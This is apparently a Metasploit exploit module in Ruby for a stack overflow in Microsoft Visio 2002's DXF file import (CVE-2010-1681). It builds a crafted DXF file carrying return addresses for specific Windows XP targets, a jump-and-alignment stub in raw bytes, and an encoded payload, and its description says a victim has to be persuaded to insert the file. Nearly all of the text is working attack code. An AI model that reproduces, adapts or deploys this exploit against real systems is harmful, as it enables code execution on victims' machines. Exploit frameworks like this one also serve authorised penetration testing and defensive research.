##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability',
      'Description'    => %q{
          This module exploits a stack based overflow vulnerability in the handling
        of the DXF files by Microsoft Visio 2002. Revisions prior to the release of
        the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application
        is used to import a specially crafted DXF file, while parsing the HEADER section
        of the DXF file.

        To trigger the vulnerability an attacker must convince someone to insert a
        specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'
        },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # CORE Security, original discovery
          'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis
          'juan vazquez', # metasploit module
        ],
      'References'     =>
        [
          [ 'CVE','2010-1681' ],
          [ 'OSVDB', '64446' ],
          [ 'BID', '39836' ],
          [ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ],
          [ 'URL', 'https://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload' =>
        {
          'Space'         => 2000,
          'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
          'DisableNops'   => true, # no need
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX'
            }
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Microsoft Office Visio 2002
          # VISIO.EXE v10.0.525.4
          # VISIODWG.DLL v10.0.525.4
          # ECXAdjust:
          # 0x8 => ESP points to the prepended shellcode
          # 0x1A => Padding
          # 0x2 => len(push esp, pop ecx)
          # 0x3 => len(sub)
          # 0x6 => len(add)
          [
            'Visio 2002 English on Windows XP SP3 Spanish',
            {
              'Ret'         => 0x6173345c, # push esp, ret from VISIODWG.DLL
              'Offset'      => 0x50,       # EIP
              'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment
              'ECXAdjust'   => 0x2D
            }
          ],
          [
            'Visio 2002 English on Windows XP SP3 English',
            {
              'Ret'         => 0x60455F6B, # push esp, ret from VISLIB.DLL
              'Offset'      => 0x50,       # EIP
              'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment
              'ECXAdjust'   => 0x2D,
            }
          ],
        ],
      'DisclosureDate' => '2010-05-04'))

    register_options(
      [
        OptString.new('FILENAME',   [ true, 'The file name.',  'msf.dxf']),
      ])
  end

  def exploit
    content = "0\n"
    content << "SECTION\n"
    content << "2\n"
    content << "HEADER\n"
    content << "9\n"
    content << "$ACADMAINTVER"
    content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length)
    content << [target.ret].pack('V') # new ret
    content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops)
    content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions
    content << rand_text_alpha(0x1A) # jumped by the short jump
    # Get in ECX a pointer to the shellcode start
    content << "\x54" # push esp
    content << "\x59" # pop ecx
    # ecx adjustment
    content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true)
    # Stack adjustment
    content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
    content << payload.encoded
    content << "\n"
    content << "0\n"
    content << "ENDSEC\n"
    content << "0\n"
    content << "EOF\n"

    print_status("Creating #{datastore['FILENAME']} ...")
    file_create(content)
  end
end